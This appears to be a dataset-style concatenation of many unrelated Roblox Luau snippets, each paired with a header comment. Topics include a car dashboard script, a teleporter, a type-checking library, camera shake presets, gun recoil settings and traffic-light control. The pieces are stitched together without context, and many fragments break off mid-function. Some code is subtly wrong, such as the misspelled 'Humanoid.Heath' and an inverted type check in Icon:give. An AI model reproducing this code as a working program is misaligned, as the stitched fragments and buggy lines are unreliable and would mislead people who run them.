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--- Handles initial preparation of the game server-side. |
return function (cmdr)
local ReplicatedRoot, RemoteFunction, RemoteEvent
local function Create (class, name, parent)
local object = Instance.new(class)
object.Name = name
object.Parent = parent or ReplicatedRoot
return object
end
ReplicatedRoot = script.Parent.CmdrClient
if ReplicatedStorage:FindFirstChild("Resources") and
ReplicatedStorage.Resources:FindFirstChild("Libraries") then -- If using RoStrap
-- ReplicatedRoot.Name = "Cmdr"
ReplicatedRoot.Parent = ReplicatedStorage.Resources.Libraries
else
ReplicatedRoot.Parent = ReplicatedStorage
end
RemoteFunction = Create("RemoteFunction", "CmdrFunction")
RemoteEvent = Create("RemoteEvent", "CmdrEvent")
Create("Folder", "Commands")
Create("Folder", "Types")
script.Parent.Shared.Parent = ReplicatedRoot
cmdr.ReplicatedRoot = ReplicatedRoot
cmdr.RemoteFunction = RemoteFunction
cmdr.RemoteEvent = RemoteEvent
cmdr:RegisterTypesIn(script.Parent.BuiltInTypes)
script.Parent.BuiltInTypes:Destroy()
script.Parent.BuiltInCommands.Name = "Server commands"
if StarterGui:FindFirstChild("Cmdr") == nil then
CreateGui()
end
end
|
-- helpers |
local Networking = require(Src.Http.Networking)
local getFullPath = require(Src.Util.getFullPath)
|
--Misc |
Tune.RevAccel = 470 -- RPM acceleration when clutch is off
Tune.RevDecay = 486 -- RPM decay when clutch is off
Tune.RevBounce = 170 -- RPM kickback from redline
Tune.IdleThrottle = 0 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- Disconnect all handlers. Since we use a linked list it suffices to clear the
-- reference to the head handler. |
function Signal:Destroy()
self._handlerListHead = false
end
|
------------------------- |
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "k" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
Camera.FieldOfView = 45
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
end
elseif key == "[" then -- volume down
if carSeat.Parent.Body.MP.Sound.Volume >= 0 then
handler:FireServer('volumedown', true)
carSeat.Parent.Body.Dash.Screen.G.Main.Icon.Vol.Text = ("Vol: "..carSeat.Parent.MPL.Sound.Volume)
end
elseif key == "]" then -- volume up
if carSeat.Parent.Body.MP.Sound.Volume <= 10 then
handler:FireServer('volumeup', true)
carSeat.Parent.Body.Dash.Screen.G.Main.Icon.Vol.Text = ("Vol: "..carSeat.Parent.MPL.Sound.Volume)
end
elseif key == "b" then
handler:FireServer("Radio")
elseif key == "m" then
handler:FireServer("Delete")
elseif key == "n" then
handler:FireServer("Tabs")
end
end)
HUB.Mirror.MouseButton1Click:connect(function() --Mirrors
handler:FireServer('MirrorsFOLD')
end)
HUB.MirrorUF.MouseButton1Click:connect(function() --Mirrors
handler:FireServer('MirrorsUNFOLD')
end)
HUB.Eco.MouseButton1Click:connect(function() --Hide tracker names
handler:FireServer('Eco')
end)
HUB.Comfort.MouseButton1Click:connect(function() --Hide tracker names
handler:FireServer('Comfort')
end)
HUB.Sport.MouseButton1Click:connect(function() --Hide tracker names
handler:FireServer('Sport')
end)
carSeat.Indicator.Changed:connect(function()
if carSeat.Indicator.Value == true then
script.Parent.Indicator:Play()
else
script.Parent.Indicator2:Play()
end
end)
game.Lighting.Changed:connect(function(prop)
if prop == "TimeOfDay" then
handler:FireServer('TimeUpdate')
end
end)
if game.Workspace.FilteringEnabled == true then
handler:FireServer('feON')
elseif game.Workspace.FilteringEnabled == false then
handler:FireServer('feOFF')
end
carSeat.LI.Changed:connect(function()
if carSeat.LI.Value == true then
carSeat.Parent.Body.Dash.Spd.G.Indicator.Visible = true
script.Parent.HUB.Left.Visible = true
else
carSeat.Parent.Body.Dash.Spd.G.Indicator.Visible = false
script.Parent.HUB.Left.Visible = false
end
end)
carSeat.RI.Changed:connect(function()
if carSeat.RI.Value == true then
carSeat.Parent.Body.Dash.Tac.G.Indicator.Visible = true
script.Parent.HUB.Right.Visible = true
else
carSeat.Parent.Body.Dash.Tac.G.Indicator.Visible = false
script.Parent.HUB.Right.Visible = false
end
end)
for i,v in pairs(script.Parent:getChildren()) do
if v:IsA('TextButton') then
v.MouseButton1Click:connect(function()
if carSeat.Windows:FindFirstChild(v.Name) then
local v = carSeat.Windows:FindFirstChild(v.Name)
if v.Value == true then
handler:FireServer('updateWindows', v.Name, false)
else
handler:FireServer('updateWindows', v.Name, true)
end
end
end)
end
end
while wait() do
carSeat.Parent.Body.Dash.DashSc.G.Spd.Text = (math.floor(carSeat.Velocity.magnitude*((10/12) * (60/88))).." mph")
carSeat.Parent.Body.Dash.Screen.G.Screen.StatusBar.Time.Text = game.Lighting.TimeOfDay
carSeat.Parent.Body.Dash.DashSc2.G.Time.Text = game.Lighting.TimeOfDay
end
|
-- CONSTANTS |
local SIMPSON_N = 16
local NEWTON_N = 6
local ZERO = Vector3.new(0, 0, 0)
|
-- Made by Texar with help from TheLuaWeaver, released to the public | |
------------------------------------ |
function onTouched(part)
if part.Parent ~= nil then
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
local teleportfrom=script.Parent.Enabled.Value
if teleportfrom~=0 then
if h==humanoid then
return
end
local teleportto=script.Parent.Parent:findFirstChild(modelname)
if teleportto~=nil then
local torso = h.Parent.Torso
local location = {teleportto.Position}
local i = 1
local x = location[i].x
local y = location[i].y
local z = location[i].z
x = x + math.random(-1, 1)
z = z + math.random(-1, 1)
y = y + math.random(2, 3)
local cf = torso.CFrame
local lx = 0
local ly = y
local lz = 0
script.Parent.Enabled.Value=0
teleportto.Enabled.Value=0
torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
wait(3)
script.Parent.Enabled.Value=1
teleportto.Enabled.Value=1
else
print("Could not find teleporter!")
end
end
end
end
end
script.Parent.Touched:connect(onTouched)
|
-- Constants |
local Settings = {
-- Rate: How many droplets spawn per second
Rate = 8;
-- Size: How large the droplets roughly are (in studs)
Size = 0.1;
-- Tint: What color the droplets are tinted (leave as nil for a default realistic light blue)
Tint = Color3.fromRGB(226, 244, 255);
-- Fade: How long it takes for a droplet to fade
Fade = 1.5;
}
local Workspace = game:GetService("Workspace")
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local TweenService = game:GetService("TweenService")
local UpVec = Vector3.new(0, 1, 0)
local DROPLET_SIZE = Vector3.new(1, 1, 1)
local EMPTY_CFRAME = CFrame.new()
|
--[[**
ensures value is a table and all keys pass keyCheck and all values pass valueCheck
@param keyCheck The function to use to check the keys
@param valueCheck The function to use to check the values
@returns A function that will return true iff the condition is passed
**--]] |
function t.map(keyCheck, valueCheck)
assert(t.callback(keyCheck), t.callback(valueCheck))
local keyChecker = t.keys(keyCheck)
local valueChecker = t.values(valueCheck)
return function(value)
local keySuccess, keyErr = keyChecker(value)
if not keySuccess then
return false, keyErr or ""
end
local valueSuccess, valueErr = valueChecker(value)
if not valueSuccess then
return false, valueErr or ""
end
return true
end
end
do
local arrayKeysCheck = t.keys(t.integer)
--[[**
ensures value is an array and all values of the array match check
@param check The check to compare all values with
@returns A function that will return true iff the condition is passed
**--]]
function t.array(check)
assert(t.callback(check))
local valuesCheck = t.values(check)
return function(value)
local keySuccess, keyErrMsg = arrayKeysCheck(value)
if keySuccess == false then
return false, string.format("[array] %s", keyErrMsg or "")
end
-- # is unreliable for sparse arrays
-- Count upwards using ipairs to avoid false positives from the behavior of #
local arraySize = 0
for _ in ipairs(value) do
arraySize = arraySize + 1
end
for key in pairs(value) do
if key < 1 or key > arraySize then
return false, string.format("[array] key %s must be sequential", tostring(key))
end
end
local valueSuccess, valueErrMsg = valuesCheck(value)
if not valueSuccess then
return false, string.format("[array] %s", valueErrMsg or "")
end
return true
end
end
end
do
local callbackArray = t.array(t.callback)
--[[**
creates a union type
@param ... The checks to union
@returns A function that will return true iff the condition is passed
**--]]
function t.union(...)
local checks = {...}
assert(callbackArray(checks))
return function(value)
for _, check in ipairs(checks) do
if check(value) then
return true
end
end
return false, "bad type for union"
end
end
--[[**
Alias for t.union
**--]]
t.some = t.union
--[[**
creates an intersection type
@param ... The checks to intersect
@returns A function that will return true iff the condition is passed
**--]]
function t.intersection(...)
local checks = {...}
assert(callbackArray(checks))
return function(value)
for _, check in ipairs(checks) do
local success, errMsg = check(value)
if not success then
return false, errMsg or ""
end
end
return true
end
end
--[[**
Alias for t.intersection
**--]]
t.every = t.intersection
end
do
local checkInterface = t.map(t.any, t.callback)
--[[**
ensures value matches given interface definition
@param checkTable The interface definition
@returns A function that will return true iff the condition is passed
**--]]
function t.interface(checkTable)
assert(checkInterface(checkTable))
return function(value)
local tableSuccess, tableErrMsg = t.table(value)
if tableSuccess == false then
return false, tableErrMsg or ""
end
for key, check in pairs(checkTable) do
local success, errMsg = check(value[key])
if success == false then
return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "")
end
end
return true
end
end
--[[**
ensures value matches given interface definition strictly
@param checkTable The interface definition
@returns A function that will return true iff the condition is passed
**--]]
function t.strictInterface(checkTable)
assert(checkInterface(checkTable))
return function(value)
local tableSuccess, tableErrMsg = t.table(value)
if tableSuccess == false then
return false, tableErrMsg or ""
end
for key, check in pairs(checkTable) do
local success, errMsg = check(value[key])
if success == false then
return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "")
end
end
for key in pairs(value) do
if not checkTable[key] then
return false, string.format("[interface] unexpected field %q", tostring(key))
end
end
return true
end
end
end
|
-- These controllers handle only walk/run movement, jumping is handled by the
-- TouchJump controller if any of these are active |
local ClickToMove = require(script:WaitForChild("ClickToMoveController"))
local TouchJump = require(script:WaitForChild("TouchJump"))
local VehicleController = require(script:WaitForChild("VehicleController"))
local CONTROL_ACTION_PRIORITY = Enum.ContextActionPriority.Default.Value
local FFlagUserFixMovementCameraStraightDownSuccess, FFlagUserFixMovementCameraStraightDownResult = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFixMovementCameraStraightDown")
end)
local FFlagUserFixMovementCameraStraightDown = FFlagUserFixMovementCameraStraightDownSuccess and FFlagUserFixMovementCameraStraightDownResult
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = require(script.Parent:WaitForChild("VRBaseCamera"));
local v2 = require(script.Parent:WaitForChild("CameraInput"));
local v3 = require(script.Parent:WaitForChild("CameraUtils"));
local v4 = require(script.Parent:WaitForChild("VehicleCamera"));
local l__VRService__5 = game:GetService("VRService");
local l__sanitizeAngle__6 = v3.sanitizeAngle;
local v7 = Vector3.new(0, 0, 0);
local v8 = setmetatable({}, v1);
v8.__index = v8;
local l__RunService__1 = game:GetService("RunService");
local u2 = 0.016666666666666666;
function v8.new()
local v9 = setmetatable(v1.new(), v8);
v9:Reset();
l__RunService__1.Stepped:Connect(function(p1, p2)
u2 = p2;
end);
return v9;
end;
local u3 = require(script.Parent.VehicleCamera:FindFirstChild("VehicleCameraCore"));
local l__Spring__4 = v3.Spring;
local u5 = require(script.Parent.VehicleCamera:FindFirstChild("VehicleCameraConfig"));
function v8.Reset(p3)
p3.vehicleCameraCore = u3.new(p3:GetSubjectCFrame());
p3.pitchSpring = l__Spring__4.new(0, -math.rad(u5.pitchBaseAngle));
p3.yawSpring = l__Spring__4.new(0, 0);
local l__CurrentCamera__10 = workspace.CurrentCamera;
local v11 = l__CurrentCamera__10 and l__CurrentCamera__10.CameraSubject;
assert(l__CurrentCamera__10, "VRVehicleCamera initialization error");
assert(v11);
assert(v11:IsA("VehicleSeat"));
local v12, v13 = v3.getLooseBoundingSphere((v11:GetConnectedParts(true)));
p3.assemblyRadius = math.max(v13, 0.001);
p3.assemblyOffset = v11.CFrame:Inverse() * v12;
p3.lastCameraFocus = nil;
p3:_StepInitialZoom();
end;
local u6 = require(script.Parent:WaitForChild("ZoomController"));
function v8._StepInitialZoom(p4)
p4:SetCameraToSubjectDistance(math.max(u6.GetZoomRadius(), p4.assemblyRadius * u5.initialZoomRadiusMul));
end;
function v8._GetThirdPersonLocalOffset(p5)
return p5.assemblyOffset + Vector3.new(0, p5.assemblyRadius * u5.verticalCenterOffset, 0);
end;
local l__LocalPlayer__7 = game:GetService("Players").LocalPlayer;
function v8._GetFirstPersonLocalOffset(p6, p7)
local l__Character__14 = l__LocalPlayer__7.Character;
if l__Character__14 and l__Character__14.Parent then
local l__Head__15 = l__Character__14:FindFirstChild("Head");
if l__Head__15 and l__Head__15:IsA("BasePart") then
return p7:Inverse() * l__Head__15.Position;
end;
end;
return p6:_GetThirdPersonLocalOffset();
end;
local l__mapClamp__8 = v3.mapClamp;
function v8.Update(p8)
local v16 = nil;
local v17 = nil;
local l__CurrentCamera__18 = workspace.CurrentCamera;
local v19 = l__CurrentCamera__18 and l__CurrentCamera__18.CameraSubject;
local l__vehicleCameraCore__20 = p8.vehicleCameraCore;
assert(l__CurrentCamera__18);
assert(v19);
assert(v19:IsA("VehicleSeat"));
u2 = 0;
local v21 = p8:GetSubjectCFrame();
local v22 = p8:GetSubjectRotVelocity();
local v23 = math.abs(p8:GetSubjectVelocity():Dot(v21.ZVector));
local v24 = math.abs(v21.YVector:Dot(v22));
local v25 = math.abs(v21.XVector:Dot(v22));
local v26 = p8:StepZoom();
local v27 = l__mapClamp__8(v26, 0.5, p8.assemblyRadius, 1, 0);
v16 = p8:_GetThirdPersonLocalOffset():Lerp(p8:_GetFirstPersonLocalOffset(v21), v27);
l__vehicleCameraCore__20:setTransform(v21);
v17 = l__vehicleCameraCore__20:step(u2, v25, v24, v27);
p8:UpdateFadeFromBlack(u2);
if not p8:IsInFirstPerson() then
local v28 = CFrame.new(v21 * v16) * v17;
local v29 = v28 * CFrame.new(0, 0, v26);
if not p8.lastCameraFocus then
p8.lastCameraFocus = v28;
p8.needsReset = true;
end;
local v30 = v28.Position - l__CurrentCamera__18.CFrame.Position;
if v30.Unit:Dot(l__CurrentCamera__18.CFrame.LookVector) > 0.56 and v30.magnitude < 200 and not p8.needsReset then
local v31 = p8.lastCameraFocus;
local l__p__32 = v31.p;
local v33 = p8:GetCameraLookVector();
local v34 = CFrame.new(l__p__32 - v26 * p8:CalculateNewLookVectorFromArg(Vector3.new(v33.X, 0, v33.Z).Unit, Vector2.new(0, 0)), l__p__32);
else
p8.currentSubjectDistance = 16;
p8.lastCameraFocus = p8:GetVRFocus(v21.Position, u2);
p8.needsReset = false;
p8:StartFadeFromBlack();
p8:ResetZoom();
end;
p8:UpdateEdgeBlur(l__LocalPlayer__7, u2);
else
v31 = CFrame.new(v21 * v16) * CFrame.new(v17.Position, Vector3.new(v17.LookVector.X, 0, v17.LookVector.Z).Unit);
v34 = v31 * CFrame.new(0, 0, v26);
p8:StartVREdgeBlur(l__LocalPlayer__7);
end;
return v34, v31;
end;
function v8.EnterFirstPerson(p9)
p9.inFirstPerson = true;
p9:UpdateMouseBehavior();
end;
function v8.LeaveFirstPerson(p10)
p10.inFirstPerson = false;
p10:UpdateMouseBehavior();
end;
return v8;
|
-- FEATURE METHODS |
function Icon:bindEvent(iconEventName, eventFunction)
local event = self[iconEventName]
assert(event and typeof(event) == "table" and event.Connect, "argument[1] must be a valid topbarplus icon event name!")
assert(typeof(eventFunction) == "function", "argument[2] must be a function!")
self._bindedEvents[iconEventName] = event:Connect(function(...)
eventFunction(self, ...)
end)
return self
end
function Icon:unbindEvent(iconEventName)
local eventConnection = self._bindedEvents[iconEventName]
if eventConnection then
eventConnection:Disconnect()
self._bindedEvents[iconEventName] = nil
end
return self
end
function Icon:bindToggleKey(keyCodeEnum)
assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!")
self._bindedToggleKeys[keyCodeEnum] = true
return self
end
function Icon:unbindToggleKey(keyCodeEnum)
assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!")
self._bindedToggleKeys[keyCodeEnum] = nil
return self
end
function Icon:lock()
self.instances.iconButton.Active = false
self.locked = true
task.defer(function()
-- We do this to prevent the overlay remaining enabled if :lock is called right after an icon is selected
if self.locked then
self.overlayLocked = true
end
end)
return self
end
function Icon:unlock()
self.instances.iconButton.Active = true
self.locked = false
self.overlayLocked = false
return self
end
function Icon:debounce(seconds)
self:lock()
task.wait(seconds)
self:unlock()
return self
end
function Icon:autoDeselect(bool)
if bool == nil then
bool = true
end
self.deselectWhenOtherIconSelected = bool
return self
end
function Icon:setTopPadding(offset, scale)
local newOffset = offset or 4
local newScale = scale or 0
self.topPadding = UDim.new(newScale, newOffset)
self.updated:Fire()
return self
end
function Icon:bindToggleItem(guiObjectOrLayerCollector)
if not guiObjectOrLayerCollector:IsA("GuiObject") and not guiObjectOrLayerCollector:IsA("LayerCollector") then
error("Toggle item must be a GuiObject or LayerCollector!")
end
self.toggleItems[guiObjectOrLayerCollector] = true
self:updateSelectionInstances()
return self
end
function Icon:updateSelectionInstances()
-- This is to assist with controller navigation and selection
for guiObjectOrLayerCollector, _ in pairs(self.toggleItems) do
local buttonInstancesArray = {}
for _, instance in pairs(guiObjectOrLayerCollector:GetDescendants()) do
if (instance:IsA("TextButton") or instance:IsA("ImageButton")) and instance.Active then
table.insert(buttonInstancesArray, instance)
end
end
self.toggleItems[guiObjectOrLayerCollector] = buttonInstancesArray
end
end
function Icon:addBackBlocker(func)
-- This is custom behaviour that can block the default behaviour of going back or closing a page when Controller B is pressed
-- If the function returns ``true`` then the B Back behaviour is blocked
-- This is useful for instance when a user is purchasing an item and you don't want them to return to the previous page
-- if they pressed B during this pending period
table.insert(self.blockBackBehaviourChecks, func)
return self
end
function Icon:unbindToggleItem(guiObjectOrLayerCollector)
self.toggleItems[guiObjectOrLayerCollector] = nil
return self
end
function Icon:_setToggleItemsVisible(bool, byIcon)
for toggleItem, _ in pairs(self.toggleItems) do
if not byIcon or byIcon.toggleItems[toggleItem] == nil then
local property = "Visible"
if toggleItem:IsA("LayerCollector") then
property = "Enabled"
end
toggleItem[property] = bool
end
end
end
function Icon:call(func)
task.spawn(func, self)
return self
end
function Icon:give(userdata)
local valueToGive = userdata
if typeof(userdata) == "function" then
local returnValue = userdata(self)
if typeof(userdata) ~= "function" then
valueToGive = returnValue
else
valueToGive = nil
end
end
if valueToGive ~= nil then
self._maid:give(valueToGive)
end
return self
end
|
--Leonlai Fog Script. :D |
game.Lighting.FogStart = 10
game.Lighting.FogEnd = 100
game.Lighting.FogColor = Color3.new(0,0,0)
game.Lighting.TimeOfDay = "00:00"
|
-- TeleportService:Teleport(placeID_Premium, player) |
local character = player.Character
local temp = Instance.new("Smoke")
temp.Color = Color3.fromRGB(102,102,102)
temp.Size = 0.1
temp.RiseVelocity = 0.1
temp.Parent = character.LowerTorso
character.Humanoid.WalkSpeed += 8
end
end)
|
-- Sometimes, e.g. when comparing two numbers, the output from jest-diff
-- does not contain more information than the 'Expected:' / 'Received:' already gives.
-- In those cases, we do not print a diff to make the output shorter and not redundant. |
function shouldPrintDiff(actual: any, expected: any)
if typeof(actual) == "number" and typeof(expected) == "number" then
return false
end
-- ROBLOX deviation: excluded if statement checking bigint types
if typeof(actual) == "boolean" and typeof(expected) == "boolean" then
return false
end
return true
end
function replaceMatchedToAsymmetricMatcher(
replacedExpected: any,
replacedReceived: any,
expectedCycles: Array<any>,
receivedCycles: Array<any>
)
if not Replaceable.isReplaceable(replacedExpected, replacedReceived) then
return {
replacedExpected = replacedExpected,
replacedReceived = replacedReceived,
}
end
if
Array.indexOf(expectedCycles, replacedExpected) ~= -1
or Array.indexOf(receivedCycles, replacedReceived) ~= -1
then
return {
replacedExpected = replacedExpected,
replacedReceived = replacedReceived,
}
end
table.insert(expectedCycles, replacedExpected)
table.insert(receivedCycles, replacedReceived)
local expectedReplaceable = Replaceable.new(replacedExpected)
local receivedReplaceable = Replaceable.new(replacedReceived)
expectedReplaceable:forEach(function(expectedValue: any, key: any)
local receivedValue = receivedReplaceable:get(key)
if isAsymmetricMatcher(expectedValue) then
if expectedValue:asymmetricMatch(receivedValue) then
receivedReplaceable:set(key, expectedValue)
end
elseif isAsymmetricMatcher(receivedValue) then
if receivedValue:asymmetricMatch(expectedValue) then
expectedReplaceable:set(key, receivedValue)
end
elseif Replaceable.isReplaceable(expectedValue, receivedValue) then
local replaced = replaceMatchedToAsymmetricMatcher(
expectedValue,
receivedValue,
expectedCycles,
receivedCycles
)
expectedReplaceable:set(key, replaced.replacedExpected)
receivedReplaceable:set(key, replaced.replacedReceived)
end
end)
return {
replacedExpected = expectedReplaceable.object,
replacedReceived = receivedReplaceable.object,
}
end
|
--//Main |
repeat wait()
Camera.CameraType = Enum.CameraType.Scriptable
until Camera.CameraType == Enum.CameraType.Scriptable
Camera.CFrame = workspace.CameraPart.CFrame
PlayButton.MouseButton1Click:Connect(function()
Camera.CameraType = Enum.CameraType.Custom
end)
|
--[[START]] |
script.Parent:WaitForChild("Car")
script.Parent:WaitForChild("Values")
|
--[[
CameraShakePresets.Bump
CameraShakePresets.Explosion
CameraShakePresets.Earthquake
CameraShakePresets.BadTrip
CameraShakePresets.HandheldCamera
CameraShakePresets.Vibration
CameraShakePresets.RoughDriving
--]] |
local CameraShakeInstance = require(script.Parent.CameraShakeInstance)
local CameraShakePresets = {
-- A high-magnitude, short, yet smooth shake.
-- Should happen once.
Bump = function()
local c = CameraShakeInstance.new(2.5, 4, 0.1, 0.75)
c.PositionInfluence = Vector3.new(0.15, 0.15, 0.15)
c.RotationInfluence = Vector3.new(1, 1, 1)
return c
end;
-- An intense and rough shake.
-- Should happen once.
Explosion = function()
local c = CameraShakeInstance.new(5, 10, 0, 1.5)
c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25)
c.RotationInfluence = Vector3.new(4, 1, 1)
return c
end;
-- A continuous, rough shake
-- Sustained.
Earthquake = function()
local c = CameraShakeInstance.new(0.8, 4.5, 3, 12)
c.PositionInfluence = Vector3.new(0.45, 0.45, 0.45)
c.RotationInfluence = Vector3.new(2, 2, 5)
return c
end;
-- A bizarre shake with a very high magnitude and low roughness.
-- Sustained.
BadTrip = function()
local c = CameraShakeInstance.new(10, 0.15, 5, 10)
c.PositionInfluence = Vector3.new(0, 0, 0.15)
c.RotationInfluence = Vector3.new(2, 1, 4)
return c
end;
-- A subtle, slow shake.
-- Sustained.
HandheldCamera = function()
local c = CameraShakeInstance.new(1, 0.25, 5, 10)
c.PositionInfluence = Vector3.new(0, 0, 0)
c.RotationInfluence = Vector3.new(1, 0.5, 0.5)
return c
end;
-- A very rough, yet low magnitude shake.
-- Sustained.
Vibration = function()
local c = CameraShakeInstance.new(0.4, 20, 2, 2)
c.PositionInfluence = Vector3.new(0, 0.15, 0)
c.RotationInfluence = Vector3.new(1.25, 0, 4)
return c
end;
-- A slightly rough, medium magnitude shake.
-- Sustained.
RoughDriving = function()
local c = CameraShakeInstance.new(1, 2, 1, 1)
c.PositionInfluence = Vector3.new(0, 0, 0)
c.RotationInfluence = Vector3.new(1, 1, 1)
return c
end;
}
return setmetatable({}, {
__index = function(t, i)
local f = CameraShakePresets[i]
if (type(f) == "function") then
return f()
end
error("No preset found with index \"" .. i .. "\"")
end;
})
|
--[[
I did not steal this script from anybody... For those of you who don't know
how to script, all this does it deletes the new animation script, and replaces it
with this one when a player enters. I had no knowlage another one of these exists.
That does not make me a stealer, so please show some respect.
]] | |
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
,VRecoil = {7,12} --- Vertical Recoil
,HRecoil = {6,8} --- Horizontal Recoil
,AimRecover = .85 ---- Between 0 & 1
,RecoilPunch = .15
,VPunchBase = 3.75 --- Vertical Punch
,HPunchBase = 2.5 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .25
,MaxRecoilPower = 3
,RecoilPowerStepAmount = .25
,MinSpread = 1.75 --- Min bullet spread value | Studs
,MaxSpread = 40 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 1
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1.5 --- Max sway value based on player stamina | Studs |
-- we have a player in the radius |
local playerRay = Ray.new(v.Position+Vector3.new(0,10,0),Vector3.new(0,-50,0))
local part,pos,norm,mat = workspace:FindPartOnRay(playerRay,v.Parent)
if part == workspace.Terrain and mat ~= Enum.Material.Water then |
-- local replacePathSepForGlob = require(script.Parent.replacePathSepForGlob).default | |
-- Functional Services |
TweenService = game:GetService("TweenService")
|
--Rescripted by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
ClientControl.OnClientInvoke = (function(Mode, Value)
if Mode == "PlaySound" and Value then
Value:Play()
end
end)
function InvokeServer(Mode, Value, arg)
pcall(function()
ServerControl:InvokeServer(Mode, Value, arg)
end)
end
function Equipped(Mouse)
local Character = Tool.Parent
local Player = Players:GetPlayerFromCharacter(Character)
local Humanoid = Character:FindFirstChild("Humanoid")
if not Player or not Humanoid or Humanoid.Health == Humanoid.Heath - 100 then
return
end
Mouse.Button1Down:connect(function()
InvokeServer("Click", true, Mouse.Hit.p)
end)
end
local function Unequipped()
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--[=[
Observes an attribute on an instance with a conditional statement.
@param instance Instance
@param attributeName string
@param condition function | nil
@return Observable<Brio<any>>
]=] |
function RxAttributeUtils.observeAttributeBrio(instance, attributeName, condition)
assert(typeof(instance) == "Instance", "Bad instance")
assert(type(attributeName) == "string", "Bad attributeName")
return Observable.new(function(sub)
local maid = Maid.new()
local lastValue = UNSET_VALUE
local function handleAttributeChanged()
local attributeValue = instance:GetAttribute(attributeName)
-- Deferred events can cause multiple values to be queued at once
-- but we operate at this post-deferred layer, so lets only output
-- reflected values.
if lastValue ~= attributeValue then
lastValue = attributeValue
if not condition or condition(attributeValue) then
local brio = Brio.new(attributeValue)
maid._lastBrio = brio
-- The above line can cause us to be overwritten so make sure before firing.
if maid._lastBrio == brio then
sub:Fire(brio)
end
else
maid._lastBrio = nil
end
end
end
maid:GiveTask(instance:GetAttributeChangedSignal(attributeName):Connect(handleAttributeChanged))
handleAttributeChanged()
return maid
end)
end
return RxAttributeUtils
|
-- ================================================================================
-- VARIABLES
-- ================================================================================
-- Services |
local UserInputService = game:GetService("UserInputService")
local GuiService = game:GetService("GuiService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ContextActionService = game:GetService("ContextActionService")
local Players = game:GetService("Players")
|
-- https://developer.roblox.com/en-us/api-reference/class/DataStoreService |
local alert = sg:WaitForChild("Listing") -- ожидание загрузки папки списка сообщений |
-- A graph object which can have dependents. |
export type Dependency = {
dependentSet: Set<Dependent>
}
|
--Weld stuff here |
car.Body.CarName.Value.VehicleSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
end
end)
|
-- Converts a Color3 in RGB space to a Vector3 in Oklab space. |
function Oklab.to(rgb: Color3): Vector3
local l = rgb.R * 0.4122214708 + rgb.G * 0.5363325363 + rgb.B * 0.0514459929
local m = rgb.R * 0.2119034982 + rgb.G * 0.6806995451 + rgb.B * 0.1073969566
local s = rgb.R * 0.0883024619 + rgb.G * 0.2817188376 + rgb.B * 0.6299787005
local lRoot = l ^ (1/3)
local mRoot = m ^ (1/3)
local sRoot = s ^ (1/3)
return Vector3.new(
lRoot * 0.2104542553 + mRoot * 0.7936177850 - sRoot * 0.0040720468,
lRoot * 1.9779984951 - mRoot * 2.4285922050 + sRoot * 0.4505937099,
lRoot * 0.0259040371 + mRoot * 0.7827717662 - sRoot * 0.8086757660
)
end
|
------------ |
Player.Character.Torso["Left Shoulder"]:destroy()
glue111 = Instance.new("Glue", Player.Character.Torso)
glue111.Part0 = Player.Character.Torso
glue111.Part1 = leftarm
glue111.Name = "Left shoulder"
collider111 = Instance.new("Part", leftarm)
collider111.Position = Vector3.new(0,9999,0)
collider111.Size = Vector3.new(1.5, 1, 1)
collider111.Shape = "Cylinder"
local weld111 = Instance.new("Weld", collider111)
weld111.Part0 = leftarm
weld111.Part1 = collider111
weld111.C0 = CFrame.new(0,-0.2,0) * CFrame.fromEulerAnglesXYZ(0, 0, math.pi/2)
collider111.TopSurface = "Smooth"
collider111.BottomSurface = "Smooth"
collider111.formFactor = "Symmetric"
glue111.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
glue111.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
collider111.Transparency = 1 |
--Main Control------------------------------------------------------------------------ |
Red = script.Parent.Red.Lamp
Yellow = script.Parent.Yellow.Lamp
Green = script.Parent.Green.Lamp
DRed = script.Parent.Red.DynamicLight
DYellow = script.Parent.Yellow.DynamicLight
DGreen = script.Parent.Green.DynamicLight
if Turn.Value == 0 then
Green.Enabled = false
Yellow.Enabled = false
Red.Enabled = false
DGreen.Enabled = false
DYellow.Enabled = false
DRed.Enabled = false
elseif Turn.Value == 1 then
Green.Enabled = true
Yellow.Enabled = false
Red.Enabled = false
DGreen.Enabled = true
DYellow.Enabled = false
DRed.Enabled = false
elseif Turn.Value == 2 then
Green.Enabled = false
Yellow.Enabled = true
Red.Enabled = false
